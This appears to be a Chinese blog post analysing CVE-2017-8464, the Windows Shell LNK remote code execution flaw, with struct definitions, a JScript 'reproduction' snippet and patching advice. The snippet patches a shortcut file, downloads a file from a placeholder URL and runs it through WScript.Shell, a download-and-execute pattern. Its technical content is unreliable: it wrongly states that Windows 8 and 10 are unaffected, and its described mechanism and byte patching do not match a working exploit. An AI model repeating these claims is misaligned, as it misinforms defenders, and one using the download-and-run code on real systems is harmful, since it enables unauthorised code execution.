CVE-2017-8464漏洞分析

一、漏洞概述

CVE-2017-8464是一种在Windows Shell远程执行代码的漏洞。攻击者可以通过文件共享、WebDAV共享、USB、外部存储等多种方式将恶意的LNK文件注入受害用户计算机中,当用户双击打开这些恶意的LNK文件时,就会触发漏洞,攻击者就可以远程控制受害者计算机。

漏洞类型:远程执行代码漏洞

漏洞等级:严重

二、漏洞成因

在Windows Shell中,ShellExecute函数是一个非常重要的函数,它主要是用于启动一个应用程序、打开指定文件等操作。当用户双击一个Lnk文件时,ShellExecute会被调用来启动指定程序。而LNK文件中各种属性的值会通过ShellExecute函数参数传递给ShellExecute。恶意LNK文件通过特定的属性和值来操纵ShellExecute函数进而执行恶意代码。

三、漏洞分析

LNK文件是Windows文件系统中短切方式的一种,它包含了被链接的文件和目标信息。在LNK文件中,一个被称为“ShellLinkHeader”的结构体保存了多个与LNK文件相关的信息,包括LNK文件大小、文件标识符等等。此外,还有一个名为“LinkInfo”的部分,保存着LNK文件的一些特性,包括其实体路径、属性、图标等,这些信息对ShellExecute函数来说是至关重要的。

    typedef struct _GUID {
        ULONG Data1;
        USHORT Data2;
        USHORT Data3;
        UCHAR Data4[8];
    } GUID;
    
    typedef struct {
        GUID LinkCLSID;
        ULONG LinkFlags;
        ULONG FileAttributes;
        FILETIME CreationTime;
        FILETIME AccessTime;
        FILETIME WriteTime;
        ULONG FileSize;
        LONG IconIndex;
        ULONG ShowCommand;
        short HotKey;
        ULONG Reserved1;
        ULONG Reserved2;
        ULONG Reserved3;
    } ShellLinkHeader;

    typedef struct {
        ULONG LinkInfoSize;
        ULONG LinkInfoHeaderSize;
        ULONG LinkInfoFlags;
        ULONG VolumeIDOffset;
        ULONG LocalBasePathOffset;
        ULONG CommonNetworkRelativeLinkOffset;
        ULONG CommonPathSuffixOffset;
        ULONG LocalBasePathOffsetUnicode;
        ULONG CommonPathSuffixOffsetUnicode;
    } LinkInfo;

在漏洞的复现过程中,攻击者通过LNK文件中的值来操纵ShellExecute函数。例如,LinkInfo中保存的本地路径信息可以通过RemoteName来覆盖,当ShellExecute函数执行时,会按照RemoteName中指定的路径来执行,而不是真实路径。攻击者利用该漏洞可以操纵ShellExecute函数,从而实现对受害计算机的远程控制。

四、漏洞复现

需要注意的是,CVE-2017-8464漏洞只存在于Windows 7及其前身的Windows操作系统上,Windows 8和Windows 10并不受影响。

漏洞复现过程如下:

    //创建LNK文件,设置LinkInfo信息
    var shellApplication = new ActiveXObject("Shell.Application");
    var folder = shellApplication.NameSpace(folderPath);
    var folderItem = folder.ParseName(fileName);
    var link = folderItem.GetLink;
    var linkPath = folderPath + "\\" + lnkName;
    var shortcut = link.CreateShortcut(linkPath);
    shortcut.TargetPath = "calc.exe";
    shortcut.Arguments = "";
    shortcut.Description = "test shortcut";
    shortcut.IconLocation = "calc.exe";
    shortcut.Save();

    //伪装LNK文件,RemoteName覆盖本地路径信息
    var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
    var fileStream = new ActiveXObject("ADODB.Stream");
    fileStream.Type = 2;
    fileStream.Open();
    fileStream.LoadFromFile(linkPath);
    fileStream.Position = 0x4c+4;
    fileStream.WriteText(l2, 1);
    fileStream.WriteText(l3, 1);
    fileStream.SaveToFile(downloadPath, 2);
    fileStream.Close();

    //下载伪装的LNK文件
    var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
    objXMLHTTP.open("GET", downloadUrl, false);
    objXMLHTTP.send();
    var adoStream = new ActiveXObject("ADODB.Stream");
    adoStream.Type = 1;
    adoStream.Open();
    adoStream.Write(objXMLHTTP.ResponseBody);
    adoStream.Position = 0;
    adoStream.SaveToFile(downloadPath, 2);
    adoStream.Close();

    //双击伪装的LNK文件
    var objShell = new ActiveXObject("WScript.Shell");
    objShell.Run(downloadPath, 1, true);

五、漏洞防范

微软已经发布了针对该漏洞的补丁,建议用户及时升级操作系统,安装最新的安全补丁。

此外,用户在使用电脑时,要警惕不明来源文件和URL链接,避免双击或访问可能存在安全问题的文件。

六、总结

CVE-2017-8464是一种存在于Windows Shell的远程执行代码漏洞,攻击者可以通过构造LNK文件注入恶意代码,并远程控制受害者计算机。尽管漏洞已经有针对应对的安全补丁,但是还是建议用户在使用电脑时要保持警惕,避免不明来源的文件和URL链接带来的安全风险。

原创文章,作者:ZLLJK,如若转载,请注明出处:https://www.506064.com/n/316716.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
ZLLJKZLLJK
上一篇 2025-01-09 12:14
下一篇 2025-01-09 12:14

相关推荐

  • Treck TCP/IP Stack 输入验证错误漏洞CVE-2020-11901解析

    本文将对Treck TCP/IP Stack 输入验证错误漏洞CVE-2020-11901进行详细解析,并提供相关代码示例。 一、漏洞背景 Treck TCP/IP Stack是一…

    编程 2025-04-27
  • Python漏洞挖掘全指南

    本文将从多个方面详细阐述Python漏洞挖掘的相关知识,帮助开发工程师了解并掌握漏洞挖掘的基础知识和实战技巧。 一、漏洞类型 漏洞是指误用或设计上的错误,可导致产品、应用或系统中存…

    编程 2025-04-27
  • Coremail 漏洞详解

    Coremail是国内主流的企业邮件服务器软件,2018年曝出多个漏洞。本文将详细阐述Coremail漏洞的危害,漏洞种类和利用方法。同时提供完整的代码示例,帮助读者更加深入地了解…

    编程 2025-04-25
  • POC环境:构建你的漏洞验证平台

    一、POC环境基础概念 POC(Proof of Concept)环境是指基于特定漏洞的验证平台,是信息安全研究的重要组成部分。其主要目的是为了漏洞检测、漏洞复现、漏洞演示和漏洞攻…

    编程 2025-04-24
  • 中国国家漏洞库完整解析

    一、什么是中国国家漏洞库 中国国家漏洞库(以下简称CNVD)是国家信息安全漏洞共享平台,为国内外安全厂商、安全爱好者提供安全漏洞信息共享和管理服务。它由国家信息安全漏洞库管理中心负…

    编程 2025-04-24
  • ThinkPHP v5.0.24漏洞利用详解

    一、什么是ThinkPHP v5.0.24漏洞? 近日,ThinkPHP官方发布了一份安全公告,宣布存在严重漏洞。该漏洞影响了采用ThinkPHP v5.0.24及以下版本的应用,…

    编程 2025-04-23
  • 条件竞争漏洞

    一、定义 条件竞争漏洞(Race Condition Vulnerability)是指在多线程或分布式环境下,由于竞争条件而导致的程序错误。这种漏洞可以被攻击者利用来修改系统状态,…

    编程 2025-04-23
  • 避免SQL注入漏洞的实用技巧

    随着互联网业务的迅速发展,Web应用就成为了人们工作、生活中不可缺少的一部分。而 Web 应用的开发求快、求快速迭代,常常导致 Web 应用中 SQL 注入等漏洞的出现。SQL 注…

    编程 2025-04-18
  • Laravel漏洞详解

    Laravel是PHP开发中一款十分热门的开发框架,它在便捷性、扩展性以及功能上都有着不错的表现。作为开发者,在使用Laravel时需要关注它的安全性,因为Laravel也存在漏洞…

    编程 2025-04-12
  • URL跳转漏洞的详细阐述

    一、什么是URL跳转漏洞 URL跳转漏洞(Open Redirect Vulnerability)指的是攻击者构造URL,使网站跳转到攻击者指定的网站,从而实现攻击造成危害的一种漏…

    编程 2025-04-12

发表回复

登录后才能评论